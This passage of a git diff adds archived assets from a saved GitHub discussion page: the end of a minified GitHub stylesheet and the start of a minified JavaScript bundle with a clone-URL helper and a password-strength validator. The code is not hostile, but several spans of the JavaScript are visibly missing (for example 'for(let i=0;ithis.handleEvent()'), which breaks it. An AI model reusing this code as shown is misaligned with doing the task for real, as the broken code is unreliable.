.copy-invite-modal{right:0;left:unset;width:352px}}.collaborators .copy-invite-modal::before,.collaborators .copy-invite-modal::after{display:none}.access-form-wrapper{padding:8px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-radius:0 0 6px 6px}.access-flash{padding:8px;margin-right:8px;margin-bottom:8px;margin-left:8px}.repo-access-group .blankslate{display:none}.repo-access-group.is-empty .blankslate{display:block}.boxed-group-list .access-level{color:var(--color-fg-muted)}.boxed-group-list .access-level.css-truncate-target{max-width:500px}.settings-next{font-size:14px;line-height:1.5}.settings-next label{font-size:14px}.settings-next .note{font-size:12px}.settings-next .form-checkbox input[type=radio],.settings-next .form-checkbox input[type=checkbox]{margin-top:4px}dl.form-group>dd textarea.compact{height:100px;min-height:0}.form-hr{margin-top:16px;margin-bottom:16px;border-bottom-color:var(--color-border-default, #e5e5e5)}.listgroup{list-style:none;border:1px solid var(--color-border-default, #e5e5e5);border-radius:6px}.listgroup-item{min-height:inherit;padding:8px;font-size:12px;line-height:26px;color:var(--color-fg-muted)}.listgroup-item::before{display:table;content:""}.listgroup-item::after{display:table;clear:both;content:""}.listgroup-item+.listgroup-item{border-top:1px solid var(--color-border-default, #e5e5e5)}.listgroup-item.listgroup-item-preview{line-height:inherit}.listgroup-item.listgroup-item-preview .BtnGroup{margin-top:4px}.listgroup-item .css-truncate-target{max-width:200px}.listgroup-item-title{display:block;font-weight:600}.listgroup-item-body{display:block}.listgroup-header{border-top:0;border-bottom:1px solid var(--color-border-default, #e5e5e5)}.listgroup-overflow{max-height:240px;overflow-y:auto;background-color:var(--color-canvas-subtle, #f5f5f5)}.listgroup-sm .listgroup-item{padding-top:4px;padding-bottom:4px}.protected-branches{margin-top:16px;margin-bottom:16px}.protected-branch-options{margin-left:16px;opacity:.5}.protected-branch-options.active{opacity:1}.protected-branch-reviews.on .require-code-owner-review,.protected-branch-reviews.on .reviews-dismiss-on-push,.protected-branch-reviews.on .reviews-include-dismiss,.protected-branch-reviews.on .allow-force-pushes,.protected-branch-reviews.on .require-approving-reviews{display:block}.protected-branch-reviews .require-code-owner-review,.protected-branch-reviews .reviews-dismiss-on-push,.protected-branch-reviews .reviews-include-dismiss,.protected-branch-reviews .allow-force-pushes,.protected-branch-reviews .require-approving-reviews{display:none}.authorized-pushers{width:440px}.authorized-pushers .add-protected-branch-actor{display:block}.authorized-pushers .actor-limit-reached{display:none;padding:8px;font-size:12px}.authorized-pushers.at-limit .add-protected-branch-actor{display:none}.authorized-pushers.at-limit .actor-limit-reached{display:block;width:440px}.protected-branch-authorized-pushers-table,.protected-branch-pushers-table{margin-top:8px}.protected-branch-authorized-pushers-table .boxed-group-inner,.protected-branch-pushers-table .boxed-group-inner{max-height:350px;overflow-y:auto}.protected-branch-authorized-pushers-table .table-list,.protected-branch-pushers-table .table-list{border-bottom:0}.protected-branch-authorized-pushers-table .table-list-cell,.protected-branch-pushers-table .table-list-cell{vertical-align:middle}.protected-branch-authorized-pushers-table .table-list-cell:first-child,.protected-branch-pushers-table .table-list-cell:first-child{width:100%}.protected-branch-authorized-pushers-table .avatar,.protected-branch-authorized-pushers-table .octicon-jersey,.protected-branch-authorized-pushers-table .octicon-organization,.protected-branch-pushers-table .avatar,.protected-branch-pushers-table .octicon-jersey,.protected-branch-pushers-table .octicon-organization{width:36px;margin-right:8px;text-align:center}.user-already-added::after{display:inline-block;padding:1px 4px;margin-left:4px;font-size:12px;line-height:1.4;color:var(--color-fg-on-emphasis);content:"Already added";background:var(--color-severe-emphasis);border-radius:6px}.protected-branch-admin-permission{padding:4px;margin:-2px 0 -2px -4px;line-height:normal;border:1px solid transparent;border-radius:6px}.protected-branch-admin-permission.active{animation:toggle-color 1s ease-in-out 0s}@keyframes toggle-color{0%{background-color:transparent}50%{color:#4c4a42;background-color:#fff9ea;border-color:#dfd8c2}100%{background-color:transparent}}.automated-check-options{margin-top:8px}.automated-check-options .listgroup-item label{font-size:inherit}.automated-check-options .listgroup-item input[type=checkbox]{float:none;margin-top:-2px;margin-right:4px;margin-left:0}.automated-check-options .label{margin-top:4px}.repository-settings-actions [role=tab][aria-selected=true]{font-weight:600;color:var(--color-fg-default);border-color:var(--color-severe-emphasis)}.repository-settings-actions [role=tab][aria-selected=true] .UnderlineNav-octicon{color:var(--color-fg-muted)}.two-factor-recovery-codes{margin:32px 0;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:20px}.two-factor-recovery-code-mark{width:24px;height:24px;font-size:24px;line-height:16px;color:var(--color-fg-muted)}.two-factor-recovery-code{display:inline-block;width:48%;line-height:1.6;text-align:center}.two-factor-recovery-code::before{position:relative;top:-3px;margin-right:8px;font-size:12px;color:var(--color-fg-muted);content:"●"}.recovery-codes-saving-options{margin-left:32px}.recovery-codes-saving-options .recovery-code-save-button{width:115px;margin-right:16px;text-align:center}.recovery-codes-warning{margin:0 -16px}.recovery-codes-warning .recovery-codes-warning-octicon{height:40px;margin-right:16px}.two-factor-steps{padding:16px 16px 0;margin:32px 0;border:1px solid var(--color-border-default);border-radius:6px}.setup-wrapper{width:750px;padding-top:32px;margin:0 auto}.setup-wrapper::before{display:table;content:""}.setup-wrapper::after{display:table;clear:both;content:""}.setup-header{padding-bottom:16px;margin:0 auto 32px;overflow:hidden;text-align:left;border-bottom:1px solid var(--color-border-default)}.setup-header h1{margin-top:0;margin-bottom:0;font-size:48px;font-weight:400;line-height:1.1;letter-spacing:-1px}.setup-header h1 .octicon{color:var(--color-fg-muted)}.setup-header .lead{margin-top:2px;margin-bottom:0;font-size:20px}.setup-header .lead a{color:var(--color-fg-muted)}.setup-header .lead a:hover{color:var(--color-accent-fg);text-decoration:none}.setup-org{padding-bottom:0;border-bottom:0}.setup-main{float:left;width:450px}.setup-secondary{float:right;width:250px}.setup-secondary .info{padding-top:0;padding-bottom:0;margin-top:-8px;font-size:12px;line-height:18px;color:var(--color-fg-muted);text-align:center}.setup-info-module{margin-bottom:32px;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:0 1px 3px rgba(0,0,0,.075)}.setup-info-module h2{padding:16px;margin-bottom:16px;overflow:hidden;font-size:16px;border-bottom:1px solid var(--color-border-default)}.setup-info-module h2 .price{float:right;font-weight:600;color:var(--color-fg-muted)}.setup-info-module h3{padding:0 16px;margin:0 0 -8px;font-size:14px}.setup-info-module p{padding:0 16px;margin:16px 0}.features-list{padding:0 16px 16px;margin:0;font-size:14px;list-style:none}.features-list li{margin-top:8px}.features-list li:first-child{margin-top:0}.features-list .list-divider{margin:16px -16px;border-top:1px solid var(--color-border-muted)}.features-list .octicon-check{margin-right:4px;color:var(--color-success-fg)}.features-list .octicon-question{font-size:12px;color:var(--color-fg-muted)}.features-list .tooltipped::after{width:250px;white-space:normal}.setup-form-container .setup-form-title{font-size:16px}.setup-form-container .secure{float:right;margin-top:2px;font-size:12px;color:var(--color-success-fg);text-transform:uppercase}.setup-form-container hr{margin-top:24px;margin-bottom:24px}.setup-form-container .form-actions{padding-top:0;padding-bottom:0;text-align:left}.team-member-container{margin-bottom:16px}.team-member-container .team-member-username{line-height:1.2}.setup-form{padding-bottom:16px}.setup-form .form-group.successed .error{display:none}.setup-form .form-group dd .form-control{width:100%}.setup-form .form-group dd .form-control.short{width:250px}.setup-form dd{position:relative}.setup-form dd .octicon{position:absolute;top:8px;right:25px}.setup-form .octicon-alert{color:var(--color-danger-fg)}.setup-form .octicon-check{color:var(--color-success-fg)}.setup-form .tos-info,.setup-form .setup-organization-next{margin:16px 0;border-top:1px solid var(--color-border-muted);border-bottom:1px solid var(--color-border-muted)}.setup-form .tos-info{padding:16px 0}.setup-form .setup-organization-next{padding-top:16px;padding-bottom:16px}.setup-form .setup-plans{border-collapse:separate;border:1px solid var(--color-border-default)}.setup-form .setup-plans tr.selected{background-color:var(--color-accent-subtle)}.setup-form .setup-plans .name{font-weight:600}.setup-form .setup-plans .choose-plan input[type=radio]{display:none}.setup-creditcard-form .country-form,.setup-creditcard-form .state-form{float:left;margin:0;word-wrap:normal}.setup-creditcard-form .country-form,.setup-creditcard-form .postal-code-form{margin-top:0;margin-bottom:16px}.setup-creditcard-form .form-group select.select-country{width:182px;margin-right:4px}.setup-creditcard-form .form-group select:invalid{color:var(--color-fg-muted)}.setup-creditcard-form .form-group select.select-state{width:113px}.setup-creditcard-form .form-group .input-vat{width:288px}.setup-creditcard-form .form-group input.input-postal-code{width:180px}.setup-creditcard-form.is-vat-country .vat-field{display:block}.setup-creditcard-form.is-international .form-group select.select-country{width:300px}.setup-creditcard-form.is-international .state-form{display:none}.setup-creditcard-form.no-postcodes .postal-code-form{display:none}.setup-creditcard-form dd .octicon-credit-card{position:inherit}.setup-creditcard-form .vat-field{display:none}.setup-creditcard-form .vat-field.prefilled{display:block}.setup-creditcard-form .help-text{font-size:80%;font-weight:400;color:var(--color-fg-muted)}.user-identification-questions{float:none;width:auto;margin-top:40px}.user-identification-questions .question{margin-bottom:32px}.user-identification-questions .response-group label{font-weight:400}.user-identification-questions .form-checkbox{margin:8px 0}.user-identification-questions .disclaimer{margin:40px 0 0;text-align:center}.user-identification-questions.redesign .question{margin-bottom:96px}.user-identification-questions.redesign .topic-input-container .tag-input{width:100%;border:0;border-bottom:6px solid #000;box-shadow:0 0 0}.signup-plan-summary-subhead{border-bottom:6px solid}.signup-btn:disabled{opacity:.5 !important}.collection-search-results em{padding:.1em;background-color:#faffa6}.draft-tag{padding:4px 8px;font-weight:600;color:#eee;background-color:#404040}.showcase-page-pattern{position:relative;z-index:-1;height:100px;margin-top:-24px;margin-bottom:-70px}.showcase-page-pattern::after{position:absolute;top:0;right:0;bottom:0;left:0;display:block;content:"";background-image:linear-gradient(180deg, rgba(255, 255, 255, 0.85), white)}.showcase-page-repo-list{border-top:1px solid var(--color-border-muted)}.slash-command-menu-item .command-description{color:var(--color-fg-muted)}.slash-command-menu-item[aria-selected=true]{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.slash-command-menu-item[aria-selected=true] .command-description{color:var(--color-fg-on-emphasis)}.modal-anchor::before{position:fixed;top:0;right:0;bottom:0;left:0;z-index:99;display:block;cursor:default;content:" ";background:var(--color-primer-canvas-backdrop)}.sortable-button-item:first-of-type .sortable-button[data-direction=up],.sortable-button-item:last-of-type .sortable-button[data-direction=down]{display:none}@keyframes sponsors-progress-animation{0%{background-position:100%}100%{background-position:0%}}@keyframes circle-progress{0%{stroke-dasharray:0 100}}.sponsors-funded-dependencies-percent-circle-bg,.sponsors-funded-dependencies-percent-circle{fill:none;stroke-width:3;stroke-linecap:round}.sponsors-funded-dependencies-percent-circle-bg{stroke:var(--color-done-subtle)}.sponsors-funded-dependencies-percent-circle{animation:circle-progress 1s ease-out forwards}.sponsors-goal-progress-bar{background:#ec6cb9;transition:width .5s ease-in}@media(prefers-reduced-motion: no-preference){.sponsors-goal-progress-bar:hover{background:linear-gradient(90deg, #ffd33d 0%, #ea4aaa 17%, #b34bff 34%, #01feff 51%, #ffd33d 68%, #ea4aaa 85%, #b34bff 100%);background-size:300% 100%;animation:sponsors-progress-animation 2s linear infinite}}.sponsors-goal-completed-bar{background:linear-gradient(90deg, #ffd33d 0%, #ea4aaa 17%, #b34bff 34%, #01feff 51%, #ffd33d 68%, #ea4aaa 85%, #b34bff 100%);background-size:300% 100%}@media(prefers-reduced-motion: no-preference){.sponsors-goal-completed-bar{transition:width .5s ease-in;animation:sponsors-progress-animation 2s linear infinite}}.sponsors-goals-avatar-border{background-color:var(--color-canvas-default);border:1px solid var(--color-fg-on-emphasis)}.sponsors-goals-heart-anim{width:100px;height:100px;cursor:pointer;background:url("/images/modules/site/sponsors/heart-explosion.png") no-repeat;background-position:0 0;background-size:600px 100px;transition:background-position .3s steps(5);transition-duration:0s}.sponsors-goals-heart-anim.is-active{background-position:-500px 0;transition-duration:.3s}.open>.sponsors-foldable{max-height:700px}.open .sponsors-foldable-opened{display:block}.open .sponsors-foldable-closed{display:none}.sponsors-foldable{max-height:0;box-sizing:border-box;overflow-y:auto;transition:max-height .25s ease-in-out}.sponsors-foldable-opened{display:none}.sponsors-foldable-closed{display:block}.sponsor-card{width:100%;height:450px;border:0}@media(min-width: 544px){.sponsor-card{height:260px}}.sponsor-cell{padding:8px;vertical-align:middle;border-right:1px solid var(--color-neutral-muted);border-bottom:1px solid var(--color-neutral-muted)}.sponsor-cell:first-child{width:45px;padding-left:32px;border-right-width:0}.sponsor-cell:last-child{padding-left:8px;border-right-width:0}.sponsor-header-cell{padding-right:16px;font-weight:600;text-align:left;border-top:1px solid var(--color-neutral-muted)}.sponsor-row-number{color:var(--color-fg-subtle)}@media(prefers-reduced-motion: no-preference){.tier-category:hover .tier-emoji{animation:wiggle .1s alternate;animation-timing-function:ease;animation-delay:.1s;animation-iteration-count:4}}@keyframes wiggle{0%{transform:rotate(-25deg)}100%{transform:rotate(15deg) scale(1.2)}}.sponsors-featured-item{width:100%}@media(min-width: 768px){.sponsors-featured-item{width:calc(50% - 8px)}}.tab-size[data-tab-size="1"]{-moz-tab-size:1;tab-size:1}.tab-size[data-tab-size="2"]{-moz-tab-size:2;tab-size:2}.tab-size[data-tab-size="3"]{-moz-tab-size:3;tab-size:3}.tab-size[data-tab-size="4"]{-moz-tab-size:4;tab-size:4}.tab-size[data-tab-size="5"]{-moz-tab-size:5;tab-size:5}.tab-size[data-tab-size="6"]{-moz-tab-size:6;tab-size:6}.tab-size[data-tab-size="7"]{-moz-tab-size:7;tab-size:7}.tab-size[data-tab-size="8"]{-moz-tab-size:8;tab-size:8}.tab-size[data-tab-size="9"]{-moz-tab-size:9;tab-size:9}.tab-size[data-tab-size="10"]{-moz-tab-size:10;tab-size:10}.tab-size[data-tab-size="11"]{-moz-tab-size:11;tab-size:11}.tab-size[data-tab-size="12"]{-moz-tab-size:12;tab-size:12}.team-label-ldap{display:inline-block;padding:0 8px;line-height:25px;color:var(--color-fg-muted);text-transform:uppercase;cursor:default;border:1px solid var(--color-border-muted);border-radius:6px;box-shadow:none}.team-label-ldap.header-label-ldap{padding:4px 4px}.team-member-ellipsis{width:25px;height:25px;line-height:24px}.team-member-ellipsis:hover{color:var(--color-accent-fg);background:var(--color-canvas-subtle)}.team-listing .nested-teams-checkbox{padding-left:4px}.team-listing .nested-teams-checkbox.show{padding-right:12px}.team-listing .nested-teams-checkbox.indent-1{padding-left:30px}.team-listing .nested-teams-checkbox.indent-2{padding-left:54px}.team-listing .nested-teams-checkbox.indent-3{padding-left:78px}.team-listing .nested-teams-checkbox.indent-4{padding-left:102px}.team-listing .nested-teams-checkbox.indent-5{padding-left:126px}.team-listing .nested-teams-checkbox.indent-6{padding-left:150px}.team-listing .nested-teams-checkbox.indent-7{padding-left:174px}.team-listing .nested-teams-checkbox.indent-8{padding-left:198px}.team-listing .nested-teams-checkbox.indent-9{padding-left:222px}.team-listing .nested-teams-checkbox.indent-10{padding-left:246px}.team-listing .nested-teams-checkbox.indent-11{padding-left:270px}.team-listing .nested-teams-checkbox.indent-12{padding-left:294px}.team-listing .nested-teams-checkbox.indent-13{padding-left:318px}.team-listing .nested-teams-checkbox.indent-14{padding-left:342px}.team-listing .nested-teams-checkbox.indent-15{padding-left:366px}.team-listing .team-info{width:280px}.team-listing .team-short-info{width:170px}.team-listing .nested-team-info{width:650px}.team-listing .nested-team-name{max-width:268px}.team-listing .shortened-teams-avatars{margin-left:auto}.team-listing .shortened-teams-avatars.width-0{width:300px}.team-listing .shortened-teams-avatars.width-1{width:233px}.team-listing .shortened-teams-avatars.width-2{width:167px}.team-listing .shortened-teams-avatars.width-3{width:99px}.team-listing .team-members-count{width:124px}.team-listing .team-show-more-cell{width:980px}.team-listing .team-buttons{width:150px}.team-listing .octicon-wrapper{width:16px}.team-listing .is-open.root-team{background-color:var(--color-canvas-subtle)}.team-listing .is-open .expand-nested-team{font-weight:600}.team-listing .is-open .octicon-chevron-down{transform:rotate(180deg)}.traffic-graph{min-height:150px}.traffic-graph .activity{margin-top:0}.traffic-graph .activity .dots{margin-top:40px}.traffic-graph .path{fill:none;stroke-width:2}.traffic-graph path.total{stroke:var(--color-success-emphasis)}.traffic-graph path.unique{stroke:var(--color-accent-emphasis)}.traffic-graph .axis.x .tick:first-of-type line{stroke:var(--color-success-emphasis);stroke-width:2px}.traffic-graph .y line{stroke:var(--color-success-emphasis)}.traffic-graph .y.unique line{stroke:var(--color-accent-emphasis)}.traffic-graph .overlay{fill-opacity:0}.uniques-graph .axis.x .tick:last-child line{stroke:var(--color-accent-emphasis);stroke-width:2px}.svg-tip .date{color:var(--color-fg-on-emphasis)}.top-domains .dots{display:block;margin:167px auto 0}table.capped-list{width:100%;line-height:100%}table.capped-list th{padding:8px;text-align:left;background:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}table.capped-list td{padding:8px;font-size:12px;vertical-align:middle;border-bottom:1px solid var(--color-border-muted)}table.capped-list th.middle,table.capped-list td.middle{text-align:center}table.capped-list .favicon{width:16px;height:16px;margin:0 4px;vertical-align:middle}table.capped-list .octicon{margin-right:8px;color:var(--color-fg-muted);vertical-align:-3px}table.capped-list tr:nth-child(even){background-color:var(--color-canvas-subtle)}.capped-list-label{max-width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.traffic-graph-stats .summary-stats{width:100%}.traffic-graph-stats .summary-stats::before{display:table;content:""}.traffic-graph-stats .summary-stats::after{display:table;clear:both;content:""}.traffic-graph-stats .summary-stats li{display:block;float:left;width:50%}.totals circle{fill:var(--color-success-emphasis);stroke:var(--color-canvas-default);stroke-width:2}.uniques circle{fill:var(--color-accent-emphasis);stroke:var(--color-canvas-default);stroke-width:2}ul.web-views li{width:140px}ul.clones li{width:170px}.TrackingBlock .TrackingBlock-list{padding-left:0}.TrackingBlock-item:hover{background-color:var(--color-canvas-inset)}.TrackingBlock-omnibar{display:flex;align-items:stretch;width:100%;border-radius:6px}.TrackingBlock-omnibar:hover .TrackingBlock-omnibar-inputElement{background:var(--color-action-list-item-default-hover-bg);outline:1px solid var(--color-border-default)}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputElement{background:var(--color-canvas-default);border-color:var(--color-border-default);border-radius:6px 0 0 6px}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputElement:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputButton{display:inline-block}.TrackingBlock [data-disabled] .TrackingBlock-omnibar{background-color:var(--color-canvas-subtle)}.TrackingBlock [data-disabled] .TrackingBlock-omnibar:hover{outline:none !important}.TrackingBlock-omnibar-inputWrapper{position:relative;flex:1}.TrackingBlock-omnibar-inputWrapper .octicon{position:absolute;margin:8px;color:var(--color-fg-muted);pointer-events:none}.TrackingBlock-omnibar-inputWrapper .TrackingBlock-omnibar-inputElement{display:inline-block;width:100%;height:32px;background:transparent;border-color:transparent;border-style:solid;border-width:1px;border-radius:6px;padding-block:4px;padding-inline-start:32px;padding-inline-end:8px}.TrackingBlock-omnibar-inputWrapper .TrackingBlock-omnibar-inputElement:focus{background:var(--color-canvas-default);border-color:var(--color-accent-fg);border-radius:6px 0 0 6px}.TrackingBlock-omnibar .TrackingBlock-omnibar-inputButton{display:none;border-radius:0 6px 6px 0}.tracking-block-item-dropdown{top:4px;right:4px;padding:0 4px;margin-right:8px}.tracking-block-item-dropdown .dropdown-menu::before,.tracking-block-item-dropdown .dropdown-menu::after{display:none}.TrackingBlock-item:hover .dropdown-details-button{z-index:20;width:auto;height:auto;overflow:visible;clip:auto}.TrackingBlock-item:hover .dropdown-details-button svg{overflow:visible}.typeahead-result{position:relative;display:block;min-width:100%;padding:8px;margin-top:0;color:var(--color-fg-default);cursor:pointer}.typeahead-result::before{display:table;content:""}.typeahead-result::after{display:table;clear:both;content:""}.typeahead-result:first-child{border-top:0}.typeahead-result:focus,.typeahead-result:hover,.typeahead-result[aria-selected=true],.typeahead-result.navigation-focus{text-decoration:none}.typeahead-result[aria-selected=true],.typeahead-result:hover,.typeahead-result.navigation-focus{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.typeahead-result[aria-selected=true] .octicon-plus,.typeahead-result:hover .octicon-plus,.typeahead-result.navigation-focus .octicon-plus{color:var(--color-fg-on-emphasis)}.typeahead-result.disabled{pointer-events:none;opacity:.5}.member-suggestion{padding-left:44px}.member-suggestion .avatar{float:left;margin-right:8px;margin-left:-32px}.member-suggestion .member-suggestion-info{width:90%;margin-top:2px;margin-bottom:0;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.member-suggestion .member-name{font-size:12px;color:var(--color-fg-muted)}.member-suggestion .member-email{margin-top:0;margin-bottom:0}.member-suggestion .octicon-plus,.member-suggestion .octicon-check{position:absolute;top:50%;right:15px;margin-top:-8px;color:var(--color-fg-muted)}.member-suggestion .already-member-note,.member-suggestion .non-member-note,.member-suggestion .non-member-action{margin-top:0;margin-bottom:0;color:var(--color-fg-muted)}.member-suggestion .non-member-action{display:none}.member-suggestion[aria-selected=true] .member-name,.member-suggestion[aria-selected=true] .non-member-note,.member-suggestion[aria-selected=true] .already-member-note,.member-suggestion[aria-selected=true] .non-member-action,.member-suggestion[aria-selected=true] .member-email,.member-suggestion:hover .member-name,.member-suggestion:hover .non-member-note,.member-suggestion:hover .already-member-note,.member-suggestion:hover .non-member-action,.member-suggestion:hover .member-email,.member-suggestion.navigation-focus .member-name,.member-suggestion.navigation-focus .non-member-note,.member-suggestion.navigation-focus .already-member-note,.member-suggestion.navigation-focus .non-member-action,.member-suggestion.navigation-focus .member-email{color:var(--color-fg-on-emphasis)}.member-suggestion[aria-selected=true] .non-member-note,.member-suggestion:hover .non-member-note,.member-suggestion.navigation-focus .non-member-note{display:none}.member-suggestion[aria-selected=true] .non-member-action,.member-suggestion:hover .non-member-action,.member-suggestion.navigation-focus .non-member-action{display:block}.member-suggestion[aria-selected=true] .octicon,.member-suggestion:hover .octicon,.member-suggestion.navigation-focus .octicon{color:var(--color-fg-on-emphasis)}.member-suggestion.not-a-member .member-info,.member-suggestion.disabled .member-info{margin-top:-2px}.non-member-result{padding-left:32px}.email-suggestion{padding-left:32px}.email-suggestion .octicon-mail{margin-left:-16px;color:var(--color-fg-muted)}.email-suggestion .member-suggestion-info{margin-top:1px}.repo-access-add-team .team-name{font-size:14px}.repo-access-add-team .team-description{display:block}.repo-access-add-team .team-size,.repo-access-add-team .team-description{font-size:12px;color:var(--color-fg-muted)}.repo-access-add-team[aria-selected=true] .team-size,.repo-access-add-team[aria-selected=true] .team-description,.repo-access-add-team.navigation-focus .team-size,.repo-access-add-team.navigation-focus .team-description{color:var(--color-fg-on-emphasis)}#user-content-toc{overflow:visible}#user-content-toc tr{border-top:0}#user-content-toc td{padding:0 16px;background-color:var(--color-canvas-subtle);border:0;border-radius:6px}#user-content-toc ul{padding-left:0;font-weight:600;list-style:none}#user-content-toc ul li{padding-left:.2em}#user-content-toc ul ul{font-weight:400}#user-content-toc ul ul li::before{float:left;margin-top:-0.2em;margin-right:.2em;font-size:1.2em;line-height:1;color:var(--color-fg-muted);content:"⌞"}#user-content-toc ul ul ul{padding-left:.9em}#user-content-toctitle h2{margin-top:1em;margin-bottom:.5em;font-size:1.25em;border-bottom:0}.user-list-info{min-height:48px;padding:0;font-size:16px;font-weight:400;line-height:20px}.WorkflowJob-deployment-progress .Progress{background:none}.WorkflowJob-deployment-progress .WorkflowJob-deployment-progress-complete{background-color:var(--color-workflow-card-progress-complete-bg) !important}.WorkflowJob-deployment-progress .WorkflowJob-deployment-progress-incomplete{background-color:var(--color-workflow-card-progress-incomplete-bg) !important}.WorkflowJob{padding:12px;transition:opacity ease-out .12s}.WorkflowJob-title{height:20px;line-height:20px}.WorkflowJob-title::after{position:absolute;top:0;right:0;bottom:0;left:0;content:""}.MatrixComponent-pending{padding:12px;transition:opacity ease-out .12s}.MatrixComponent-collapse--title{line-height:20px}.actions-workflow-table.sticky th{position:sticky;top:0;z-index:1;background-color:var(--color-primer-canvas-sticky)}.actions-workflow-table th{height:auto;line-height:44px;text-align:left}.actions-workflow-table td{height:64px;padding-top:12px;padding-bottom:12px;line-height:20px}.actions-workflow-table td.compact{height:48px}.actions-workflow-table th:first-child,.actions-workflow-table td:first-child{padding-left:16px}@media(min-width: 768px){.actions-workflow-table th:first-child,.actions-workflow-table td:first-child{padding-left:20px}}.actions-workflow-table th:last-child,.actions-workflow-table td:last-child{padding-right:20px}@media(max-width: 768px){.actions-fullwidth-module{position:relative;margin-right:-16px !important;margin-left:-16px !important;border-right:0 !important;border-left:0 !important}.actions-fullwidth-module.actions-fullwidth-module{border-radius:0 !important}.actions-fullwidth-module::after{position:absolute;right:0;bottom:-17px;left:0;z-index:0;height:16px;content:"";background-color:var(--color-canvas-subtle)}}.annotation--contracted div:first-child{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.annotation--expanded div:first-child{word-break:break-word;white-space:pre-wrap}.enterprise-settings .field-with-errors{min-width:0;padding:0} + +/*# sourceMappingURL=github-e2412376f390.css.map*/ \ No newline at end of file diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js new file mode 100644 index 0000000..9257d62 --- /dev/null +++ b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var se=Object.defineProperty;var a=(B,P)=>se(B,"name",{value:P,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["github-elements"],{47486:(B,P,m)=>{var b=m(71544),L=m(38257),y=m(14840),p=m(57260),E=m(13002),I=m(73921),D=m(27034),_=m(51941),d=m(88309),o=m(40987),h=m(57852),f=m(88823);window.IncludeFragmentElement.prototype.fetch=s=>(s.headers.append("X-Requested-With","XMLHttpRequest"),window.fetch(s));var c=m(99254),l=m(90420),w=Object.defineProperty,C=Object.getOwnPropertyDescriptor,A=a((s,t,e,n)=>{for(var i=n>1?void 0:n?C(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&w(t,e,i),i},"__decorateClass");let W=a(class extends HTMLElement{updateURL(s){const t=s.currentTarget,e=t.getAttribute("data-url")||"";if(this.helpField.value=e,t.matches(".js-git-protocol-clone-url"))for(const n of this.helpTexts)n.textContent=e;for(const n of this.cloneURLButtons)n.classList.remove("selected");t.classList.add("selected")}},"GitCloneHelpElement");A([l.fA],W.prototype,"helpField",2),A([l.GO],W.prototype,"helpTexts",2),A([l.GO],W.prototype,"cloneURLButtons",2),W=A([l.Ih],W);var q=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"__accessCheck"),z=a((s,t,e)=>(q(s,t,"read from private field"),e?e.call(s):t.get(s)),"__privateGet"),U=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"__privateAdd"),k=a((s,t,e,n)=>(q(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"__privateSet"),M,S,H,G;function dt(s,t){const e=[];let n=0;for(let i=0;ithis.handleEvent()))}handleEvent(){z(this,G)&&cancelAnimationFrame(z(this,G)),k(this,G,requestAnimationFrame(()=>this.mark()))}disconnectedCallback(){var t;(t=this.ownerInput)==null||t.removeEventListener("input",this),z(this,H).disconnect()}mark(){const t=this.textContent||"",e=this.query;if(t===z(this,M)&&e===z(this,S))return;k(this,M,t),k(this,S,e),z(this,H).disconnect();let n=0;const i=document.createDocumentFragment();for(const r of(this.positions||dt)(e,t)){if(Number(r)!==r||rt.length)continue;t.slice(n,r)!==""&&i.appendChild(document.createTextNode(t.slice(n,r))),n=r+1;const g=document.createElement("mark");g.textContent=t[r],i.appendChild(g)}i.appendChild(document.createTextNode(t.slice(n))),this.replaceChildren(i),z(this,H).observe(this,{attributes:!0,childList:!0,subtree:!0})}}a(Y,"MarkedTextElement"),M=new WeakMap,S=new WeakMap,H=new WeakMap,G=new WeakMap,Y.observedAttributes=["query","data-owner-input"];const j=null;window.customElements.get("marked-text")||(window.MarkedTextElement=Y,window.customElements.define("marked-text",Y));var tt=m(52641);class N extends HTMLElement{connectedCallback(){this.addEventListener("input",bt)}disconnectedCallback(){this.removeEventListener("input",bt)}}a(N,"PasswordStrengthElement"),window.customElements.get("password-strength")||(window.PasswordStrengthElement=N,window.customElements.define("password-strength",N));function bt(s){const t=s.currentTarget;if(!(t instanceof N))return;const e=s.target;if(!(e instanceof HTMLInputElement))return;const n=e.form;if(!(n instanceof HTMLFormElement))return;const i=ht(e.value,{minimumCharacterCount:Number(t.getAttribute("minimum-character-count")),passphraseLength:Number(t.getAttribute("passphrase-length"))});if(i.valid){e.setCustomValidity("");const r=t.querySelector("dl.form-group");r&&(r.classList.remove("errored"),r.classList.add("successed"))}else e.setCustomValidity(t.getAttribute("invalid-message")||"Invalid");Nt(t,i),(0,tt.G)(n)}a(bt,"onInput");function ht(s,t){const e={valid:!1,hasMinimumCharacterCount:s.length>=t.minimumCharacterCount,hasMinimumPassphraseLength:t.passphraseLength!==0&&s.length>=t.passphraseLength,hasLowerCase:/[a-z]/.test(s),hasNumber:/\d/.test(s)};return e.valid=e.hasMinimumPassphraseLength||e.hasMinimumCharacterCount&&e.hasLowerCase&&e.hasNumber,e}a(ht,"validatePassword");function Nt(s,t){var e,n;const 